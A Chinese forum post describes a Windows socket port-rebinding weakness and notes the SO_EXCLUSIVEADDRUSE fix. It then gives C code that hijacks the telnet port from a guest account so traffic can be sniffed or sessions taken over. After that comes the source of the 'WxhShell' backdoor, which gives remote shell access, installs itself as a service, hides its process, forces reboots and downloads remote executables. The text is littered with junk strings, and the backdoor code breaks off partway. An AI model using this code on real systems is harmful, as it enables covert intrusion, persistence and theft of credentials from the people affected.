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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >X@4wP 7l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cn ~/P|B[  
4{PN9i E  
  saddr.sin_family = AF_INET; /penB[ 1i  
NL^;C3u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kAV4V;ydh  
53X i)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); u~O9"-m !V  
SEKR`2Zz,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 LZ=E  
nYsB^Nr6  
  这意味着什么?意味着可以进行如下的攻击: /Fr*k5I  
et`1#_o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 v[Mh[CyB  
3VZ}5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 14~#k%zO(  
j.]ln}b/'+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 AU$<W"%R  
tDC?St1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  at|.Q*&a#  
pyw]ydB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (G6lr%d  
X-4(oE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 iv!;gMco  
+X%pUe  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  l;;,[xhq  
y&n-8L_  
  #include */_$' /q V  
  #include `w8Ejm?n  
  #include ?]%ZJd  
  #include    i,h)V Cc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xe4`D>LUo  
  int main() 9^?2{aP%  
  { SuR+Vv  
  WORD wVersionRequested; %!\iII  
  DWORD ret; +@^FUt=tq  
  WSADATA wsaData; {^@vCBE+  
  BOOL val; (.J6>"K<  
  SOCKADDR_IN saddr; >6KwZr BB  
  SOCKADDR_IN scaddr; t5aX9WIW  
  int err; pP-L{bT  
  SOCKET s; (VM.]B<  
  SOCKET sc; G_QV'zQ  
  int caddsize; 6ys|'<?  
  HANDLE mt; 6vfut$)[{  
  DWORD tid;   {1"kZL  
  wVersionRequested = MAKEWORD( 2, 2 ); u0Bz]Ux/Q  
  err = WSAStartup( wVersionRequested, &wsaData ); pzT,fmfk  
  if ( err != 0 ) { s?JOGu  
  printf("error!WSAStartup failed!\n"); L9]y~[R:  
  return -1; -5b#w"^w^  
  } 1f+z[ad&^  
  saddr.sin_family = AF_INET; ms&6N']  
   r0Zj'F_e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C14"lB.  
HGao}@'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /[qLf:rGI  
  saddr.sin_port = htons(23); {,=U]^A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2Rqpok4  
  { Ofc u4pi  
  printf("error!socket failed!\n"); $ba*=/{[q  
  return -1; 782 oXyD  
  } #[&9~za'"m  
  val = TRUE; (GoxiX l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kr\#CW0?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Bdcs}Ga  
  { Q5&|1m Pb  
  printf("error!setsockopt failed!\n"); ctoh&5%!n+  
  return -1; Ub{7Xk n  
  } |fB/hs \  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l h?[wc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6`@6k2]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5FVmk5z]d  
q%/\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8]i7 wq#=  
  { m f\tMik<  
  ret=GetLastError(); ro+8d  
  printf("error!bind failed!\n"); {t*CSI  
  return -1; gg.lajX  
  } !S'!oinV  
  listen(s,2); L0R$T=~%)  
  while(1) %KPQ|^WE  
  { ]*X z~Ox2  
  caddsize = sizeof(scaddr); #h#_xh'  
  //接受连接请求 *^iSP(dg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); C{G;G@/7  
  if(sc!=INVALID_SOCKET) Byh!Snoe  
  { 5`6U:MDq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gL &)l!2Y  
  if(mt==NULL)  e**5_L  
  { B2:GGZ|jS  
  printf("Thread Creat Failed!\n"); q26 qY5D  
  break; GBTwQYF  
  } 9aYVbq""  
  } k/M{2Po+  
  CloseHandle(mt); :7*9W|e  
  } H~?7 : K  
  closesocket(s); 5,BvT>zFY  
  WSACleanup(); KP`Pzx   
  return 0; <OrQbrWQa  
  }   h %5keiA  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5S ) N&%  
  { XaaR>HljJ  
  SOCKET ss = (SOCKET)lpParam; Rw<O%i5/d  
  SOCKET sc; .7+"KP:  
  unsigned char buf[4096]; ~wu\j][2  
  SOCKADDR_IN saddr; QJ%N80  
  long num; xJin %:O  
  DWORD val; <r)5jf  
  DWORD ret; /vPr^Wv  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^SbxClUfw!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   s)+] pxV0-  
  saddr.sin_family = AF_INET; ;3iWV"&_A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q$5%9  
  saddr.sin_port = htons(23); ^}UFtL i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FzF#V=9lP  
  { %v0;1m  
  printf("error!socket failed!\n"); ";upu  
  return -1; w3;T]R*  
  } |+Xh ^E  
  val = 100; !/]z-z2>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y"iK)SH  
  { 4YXp,U  
  ret = GetLastError(); mln%Rd6u/  
  return -1; S3Fj /2Q8  
  } s6DPb_,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9fYof  
  { BnG{) \s  
  ret = GetLastError(); ~ymSsoD^  
  return -1; 4 g8t  
  } 8\+XtS  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _`Dz%(c  
  { \SBAk h  
  printf("error!socket connect failed!\n"); vvLzUxV  
  closesocket(sc); u~!Pzz3"  
  closesocket(ss); id)J;!^;J  
  return -1; keJ-ohv)  
  } eI@G B  
  while(1) of'H]IZ  
  { U%KgLg#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [4-u{Tu  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 miV8jaV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ! QKec  
  num = recv(ss,buf,4096,0); 5*O]`Q7  
  if(num>0) Mn*5oH  
  send(sc,buf,num,0); aW#^@||B  
  else if(num==0) ]sqp^tQ`e  
  break; qxHsmGV  
  num = recv(sc,buf,4096,0); 1]aya(  
  if(num>0) ,w,)n^  
  send(ss,buf,num,0); +$R%Vbd  
  else if(num==0) 6-\C?w A  
  break; N::.o+1  
  } UdFYG^i  
  closesocket(ss); p]6/1&t="  
  closesocket(sc); w69G6G(  
  return 0 ; sh%%U  
  } 0C717  
rUmnv%qTS  
MNX-D0`g  
========================================================== E6xWo)`%5s  
hOe$h,E']  
下边附上一个代码,,WXhSHELL $oIGlKc:L  
iJk/fvi  
========================================================== UO' X"`  
zTze %  
#include "stdafx.h" <7oZV^nd *  
8u Z4[  
#include <stdio.h> nN(Q}bF  
#include <string.h> ;z o?o t/  
#include <windows.h> ,-.=]r/s  
#include <winsock2.h> {#l@9r%  
#include <winsvc.h> ?Q6ZZQ~  
#include <urlmon.h> TzrU |D?  
tmC9p6%  
#pragma comment (lib, "Ws2_32.lib") Rp.FG   
#pragma comment (lib, "urlmon.lib") )Ju$PrO  
cKAZWON8;v  
#define MAX_USER   100 // 最大客户端连接数 ntF#x.1Pm  
#define BUF_SOCK   200 // sock buffer "HbrYYRb'  
#define KEY_BUFF   255 // 输入 buffer fQ,(,^!;  
#J4,mFMr  
#define REBOOT     0   // 重启 R(HW0@R@w  
#define SHUTDOWN   1   // 关机 (ZEDDV2  
.w)T2(  
#define DEF_PORT   5000 // 监听端口 u=6{P(5$j  
]TKM.[[  
#define REG_LEN     16   // 注册表键长度 7033#@_  
#define SVC_LEN     80   // NT服务名长度 ?T:$:IHw  
A\<WnG>xjP  
// 从dll定义API Ps{}SZn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jz$83TB-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^ P=CoLFa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;AgXl%Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2BIOA#@t  
yO0 9NQ 5u  
// wxhshell配置信息 "G!V?~;  
struct WSCFG { ( j~trpe,  
  int ws_port;         // 监听端口 ;hp?wb  
  char ws_passstr[REG_LEN]; // 口令 \) T4NN  
  int ws_autoins;       // 安装标记, 1=yes 0=no [+v}V ,jb  
  char ws_regname[REG_LEN]; // 注册表键名 a0x/? )DO  
  char ws_svcname[REG_LEN]; // 服务名 j*;/Cah]k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iG;GAw|E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3:WXrOl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ni x1_Wo;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no awa$o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FzGla})  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nLjo3yvV..  
h|Uy!?l  
}; K-*q3oh G  
[-Dl,P=  
// default Wxhshell configuration t Sf`  
struct WSCFG wscfg={DEF_PORT, hgi9%>o UB  
    "xuhuanlingzhe", c/E6}OWA  
    1, VR9C< tMSi  
    "Wxhshell", ua vv  
    "Wxhshell", }nJG<rY  
            "WxhShell Service", +EBoFeeIG  
    "Wrsky Windows CmdShell Service", onj:+zl  
    "Please Input Your Password: ", bbU{ />yW  
  1, ,, G6L{&Z  
  "http://www.wrsky.com/wxhshell.exe", qZ7/d,w  
  "Wxhshell.exe" %L$P']%t@  
    }; 29=L7  
KI="O6 h  
// 消息定义模块 f i3<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K r&HT,>B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i3} ^j?jA2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]gQ4qu5  
char *msg_ws_ext="\n\rExit."; 5:H9B  
char *msg_ws_end="\n\rQuit."; *xOrt)D=  
char *msg_ws_boot="\n\rReboot..."; GlVD!0  
char *msg_ws_poff="\n\rShutdown..."; -*EK-j  
char *msg_ws_down="\n\rSave to "; KwiTnP!Dca  
KD7 RI3'?  
char *msg_ws_err="\n\rErr!"; cTeEND)  
char *msg_ws_ok="\n\rOK!"; v+|N7  
nUvxO `2  
char ExeFile[MAX_PATH]; b%<i&YY#  
int nUser = 0; 7=ZB?@bU~  
HANDLE handles[MAX_USER]; NwdA@"YQ|  
int OsIsNt; 8PV`4=,OI  
<99Xg_e  
SERVICE_STATUS       serviceStatus; 3J{`]v5`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BZE~k?*  
$h-5PwHp  
// 函数声明 bG0t7~!{E  
int Install(void); r='"X#CmV/  
int Uninstall(void); dviL5Eaj  
int DownloadFile(char *sURL, SOCKET wsh); mu/O\'5  
int Boot(int flag); , ]'?Gd  
void HideProc(void); ZAPT5  
int GetOsVer(void); ~sQN\]5VW  
int Wxhshell(SOCKET wsl); ;?i(WV}ee  
void TalkWithClient(void *cs); wK CHG/W  
int CmdShell(SOCKET sock); y$At$i>u  
int StartFromService(void); DT@6Q.  
int StartWxhshell(LPSTR lpCmdLine); \@4_l?M  
#is:6Z,OEU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8uX1('+T*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B;?"R  
-zd*tujx  
// 数据结构和表定义 ,"u-V<>6O  
SERVICE_TABLE_ENTRY DispatchTable[] = gHC -Y 0_  
{ N}>XBZy  
{wscfg.ws_svcname, NTServiceMain}, mlY0G w_e  
{NULL, NULL} J..>ApX  
}; 1TKOvy_  
RTNUHz;{L  
// 自我安装 por[p\M.  
int Install(void) ]iuM2]  
{ x aWmwsym  
  char svExeFile[MAX_PATH]; P.RlozF5;  
  HKEY key; {@9y%lmrh  
  strcpy(svExeFile,ExeFile); 0=;jGh}|i  
++:vO  
// 如果是win9x系统,修改注册表设为自启动 B8_ w3;x  
if(!OsIsNt) { 5[M?O4mi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ak$gh b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1@kPl[`p'  
  RegCloseKey(key); jl=<Q.Mm7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JI}(R4uV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a'ViyTBo  
  RegCloseKey(key); F t%f"Z  
  return 0; K^k1]!W=  
    } h@T}WZv  
  } 7{ :| )  
} RR><so%  
else { J56+eC(  
B3'qmi<  
// 如果是NT以上系统,安装为系统服务 @xW)&d\'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,ORZtj  
if (schSCManager!=0) &2{h]V6  
{ U6 "U^  
  SC_HANDLE schService = CreateService c@:r\]  
  ( LF0gy3  
  schSCManager, sD.bBz  
  wscfg.ws_svcname, I-i)D  
  wscfg.ws_svcdisp, F9ry?g=h  
  SERVICE_ALL_ACCESS, x{C=rdp__  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?MuM _6  
  SERVICE_AUTO_START, qu8i Jq  
  SERVICE_ERROR_NORMAL, REhXW_x  
  svExeFile, 2"NRnCx *  
  NULL, SHPaSq'&N  
  NULL, FK{ YRt  
  NULL, ~!'%m(g  
  NULL, #H(|+WEu  
  NULL )]!Ps` ,u  
  ); 7ju7QyR  
  if (schService!=0) Gu<3*@Ng  
  { I~MBR2$9  
  CloseServiceHandle(schService); yE-&TW_q:>  
  CloseServiceHandle(schSCManager); @dcT8 YC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9tXLC|yl?  
  strcat(svExeFile,wscfg.ws_svcname); *"0Yr`)S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,qpn4`zE~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,-t3gc1~X  
  RegCloseKey(key); J /'woc  
  return 0; q,2]]K7y  
    } `|i #)  
  } B}gi /  
  CloseServiceHandle(schSCManager); nbw&+dcJ8  
} x$AF0xFO  
} qJFBdJU(1  
"tUXYY  
return 1; 1^R@X  
} tsU.c"^n  
6!/e_a  
// 自我卸载 h/`OG>./  
int Uninstall(void) Oe^3YOR#j{  
{ Vy{=Y(cpF2  
  HKEY key; `ItMn&P  
U}6'_ PRQ  
if(!OsIsNt) { {Zjnf6d]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |v}"UW(y  
  RegDeleteValue(key,wscfg.ws_regname); ,m!j2H}8  
  RegCloseKey(key); R* E/E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H]Q Z4(  
  RegDeleteValue(key,wscfg.ws_regname); 9IMtqL&  
  RegCloseKey(key); 0kpRvdEr-  
  return 0; ?)7uwJsH  
  } RP7e)?5$s  
} /+P 4cHv]F  
} ${KDGJ,^  
else { *(s+u~, I  
Q<d\K(<3?:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4*l ShkL  
if (schSCManager!=0) ,|"tLN *m  
{ T^aEx.`O}`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +XJj:%yt  
  if (schService!=0) u=jF\W9  
  { CY0|.x  
  if(DeleteService(schService)!=0) { $B*Ek>EK  
  CloseServiceHandle(schService); RqXcL,,9  
  CloseServiceHandle(schSCManager); 1a| q&L`o  
  return 0; [sTr#9Z  
  } #,qw~l]  
  CloseServiceHandle(schService); WDSkk"#TF  
  } wQ*vcbQX*  
  CloseServiceHandle(schSCManager); ?@(_GrE-  
} [E2afC>zrl  
} 23qTmh  
HW"|Hm$Y(  
return 1; )}=`Gx5+  
} A<r@,*(g  
AR]y p{NS  
// 从指定url下载文件 II)\rVP5  
int DownloadFile(char *sURL, SOCKET wsh) ~LuZ pV  
{ N/TU cG|m\  
  HRESULT hr; }q G{1Er  
char seps[]= "/"; &'N{v@Oi)  
char *token; 5 r"`c  
char *file; ?2%d;tW  
char myURL[MAX_PATH]; h5U@Ys  
char myFILE[MAX_PATH]; fr;>`u[;  
Va\dMv-b  
strcpy(myURL,sURL); qWGnIPk  
  token=strtok(myURL,seps); n(/(F `  
  while(token!=NULL) R(kr@hM  
  { _,=A\C_b@  
    file=token; @~U: |h  
  token=strtok(NULL,seps); X7?p$!M6;B  
  } 9loWh5_1Z  
|zKe*H/  
GetCurrentDirectory(MAX_PATH,myFILE); 4Ucg<Z&%  
strcat(myFILE, "\\"); g6IG>)  
strcat(myFILE, file); rm;'/l8Y-E  
  send(wsh,myFILE,strlen(myFILE),0); VThcG( NF  
send(wsh,"...",3,0); uo_Y"QiKEH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L|qQZ=  
  if(hr==S_OK) wW1aG  
return 0; gV):3mWC  
else :mX c|W3  
return 1; ~_QZiuq&  
X_ne#ZPl  
} iP~5=  
LpGplD lB  
// 系统电源模块 &&xBq?  
int Boot(int flag) '~VKH}b  
{ %UI.E=`n  
  HANDLE hToken; Lz2wOB1Zc+  
  TOKEN_PRIVILEGES tkp; ePq(:ih  
a57Y9.H`o  
  if(OsIsNt) { xM8}Xo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fB:9:NX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hq6fDRO/4  
    tkp.PrivilegeCount = 1; 1Zx|SBF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HlqCL1\<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \-0@9E<D  
if(flag==REBOOT) { cNtGjLpx;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [pUw(KV2m  
  return 0; wV+ W(  
} D!h8NZ;El  
else { B&Q\J>l9S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !lKO|Y  
  return 0; am{f<v,EI  
} oN)l/"%C7/  
  } =SB#rCH  
  else { {^i73}@O  
if(flag==REBOOT) { S 3Tp__  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9JBPE  
  return 0; .9 mwRYgD  
} C<?}?hhb  
else { KoRJ'WW^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :.'<ndM  
  return 0; &M,a+|yuY  
} cTCo~Pk4  
} MIo<sJuv  
k*(c8/<.d  
return 1; u pg?  
}  U":hJ*F)  
l~;H~h!h/  
// win9x进程隐藏模块 4*}[h9J}\  
void HideProc(void) l Q]&:%^\  
{ rmu5K$pl  
p @&>{hi@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !Y>lAxd  
  if ( hKernel != NULL ) 6v (}<2~  
  { HYyO/U9z|I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p~6/+ap  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "+/%s#&  
    FreeLibrary(hKernel); I 8vv  
  } MP(R2y  
btHN  
return; seC]=UJh#>  
} eqU2>bI f  
VR ^qwS/  
// 获取操作系统版本 f.JZ[+  
int GetOsVer(void) mE'y$5ZxY  
{ ye:pGa w  
  OSVERSIONINFO winfo; /x,gdZPX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $m,gQV~4  
  GetVersionEx(&winfo); cjAKc|NJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <`k\kZM  
  return 1; Ni#!C:q  
  else {e\Pd!D?|  
  return 0; lPx4=O  
} /ts=DxCC;  
11[[Hk X@  
// 客户端句柄模块 reR><p  
int Wxhshell(SOCKET wsl) t ~ruP',~\  
{ 0{^vqh.La  
  SOCKET wsh; 1 rKKph  
  struct sockaddr_in client; u\wdb^8ds  
  DWORD myID; T]Z|Wq`bot  
d9>*a$x;/  
  while(nUser<MAX_USER) k"D6Vyy`  
{ X TEC0s"F  
  int nSize=sizeof(client); I=o[\?u*_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); to,DN2rN  
  if(wsh==INVALID_SOCKET) return 1; ("Z;)s4q  
s0uI;WMg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SF$7WG3Q  
if(handles[nUser]==0) ^!^6 |[  
  closesocket(wsh); sd9$4k"  
else [zv>Wlf,%  
  nUser++; !l|v O(  
  } 2_M+akqy^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rqW[B/a{  
T Po%zZo  
  return 0; z%$ E6Im  
} oFM\L^Y?$$  
psyxNM=dN#  
// 关闭 socket wgfA\7Z  
void CloseIt(SOCKET wsh) .] mYpz  
{ 9qN4f8R  
closesocket(wsh); oJa6)+b(3  
nUser--; YL-/z4g  
ExitThread(0); _Z?{&k  
} w}No ^.I*4  
6(awO2{BP  
// 客户端请求句柄 =sy>_   
void TalkWithClient(void *cs) q9cmtZrm  
{ mkgGX|k;  
6hDK;J J&  
  SOCKET wsh=(SOCKET)cs; b ?9c\-}  
  char pwd[SVC_LEN]; i{[=N9U5o  
  char cmd[KEY_BUFF]; DTmv2X  
char chr[1]; )*#Pp )Q  
int i,j; maAZI-H{  
{6{y"8  
  while (nUser < MAX_USER) { n@n608  
#:C;VAAp  
if(wscfg.ws_passstr) { ASmMj;>UM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <"A|Xv'Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^?PU:eS  
  //ZeroMemory(pwd,KEY_BUFF); Z0&^U#]  
      i=0; S^q)DuF5!  
  while(i<SVC_LEN) { +v4P9V|s  
uo0g51%9  
  // 设置超时 ,: g.B\'Q  
  fd_set FdRead; $$ %4,\{l  
  struct timeval TimeOut; y_O[r1MF  
  FD_ZERO(&FdRead); 5tPBTS<<"L  
  FD_SET(wsh,&FdRead); {Hncm  
  TimeOut.tv_sec=8;  :VwU2  
  TimeOut.tv_usec=0; x g=}MoX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2VmQ%y6e"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =B4,H=7Spf  
HR)Dz~Obw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5\93-e  
  pwd=chr[0]; s2f9 5<B  
  if(chr[0]==0xd || chr[0]==0xa) { J)1:jieQ  
  pwd=0; lyGQ6zlSn  
  break; 79 zFF  
  } 0#(K}9T)  
  i++; uC\FW6K=m  
    } dmh6o *  
u8ofgcFYE  
  // 如果是非法用户,关闭 socket ^0"^Xk*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T}} 0hs;  
} b3(pRg[Fp  
BiGB<Jr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p@epl|IZp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jVP70c  
*hVbjI$  
while(1) { GC?X>AC:  
I9O9V[  
  ZeroMemory(cmd,KEY_BUFF); V3;4,^=6Dd  
s( @w1tS.  
      // 自动支持客户端 telnet标准   &8'.Gw m}  
  j=0; %Q]u_0P*  
  while(j<KEY_BUFF) { lfjY45=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yXU-@~  
  cmd[j]=chr[0]; m-f"EFmP  
  if(chr[0]==0xa || chr[0]==0xd) { A ?"(5da.  
  cmd[j]=0; _&S?uz m  
  break;  V|=PaO  
  } }e3M5LI1L  
  j++; .C^1.)  
    } g\MHv#v*k  
#_yQv?J  
  // 下载文件 36>pa  
  if(strstr(cmd,"http://")) { @$FE}j_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |1^>n,C  
  if(DownloadFile(cmd,wsh)) _^4\z*x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1*S5:7Tb  
  else p:M#F:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <hi@$.u_Q^  
  } 1-Fg_G}|6  
  else { 1);$#Dlt k  
5 e:Urv77  
    switch(cmd[0]) { )6|7L)Dk  
  `(A6uakd  
  // 帮助 3/I Q]8g"  
  case '?': { $ tf;\R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W- wy<<~f  
    break; g*b 4N _  
  } [vki^M5i|Z  
  // 安装 ?]%JQ]Gf*  
  case 'i': { xsK{nM6g  
    if(Install()) %bf+Y7m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TJ(PTB;  
    else _'&N01  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '!`%!Xg  
    break; e;b,7Qw  
    } L(!4e  
  // 卸载 iO=xx|d  
  case 'r': { Ore$yI}!m  
    if(Uninstall()) UnNvlkjq9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )#-27Y  
    else 4GJ1P2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'B}pIx6k~  
    break; tf64<j6  
    } D|I(2%aC  
  // 显示 wxhshell 所在路径 kTQ:k }%B  
  case 'p': { A7U'>r_.  
    char svExeFile[MAX_PATH]; /nXp5g^6(  
    strcpy(svExeFile,"\n\r"); &{QB}r  
      strcat(svExeFile,ExeFile); &SS"A*xg  
        send(wsh,svExeFile,strlen(svExeFile),0); Lm+!/e  
    break; ) Kfk\  
    } <B6@q4Q  
  // 重启 eydVWVN  
  case 'b': { ln.kEhQ3B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8D]:>[|E  
    if(Boot(REBOOT)) n+@}8;oeP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g+/%r91hZ  
    else { 3{_AzL  
    closesocket(wsh); 3WyK!@{  
    ExitThread(0); j&E4|g (  
    } 5@c,iU-L  
    break; $w%oLI@kl  
    } /^96|  
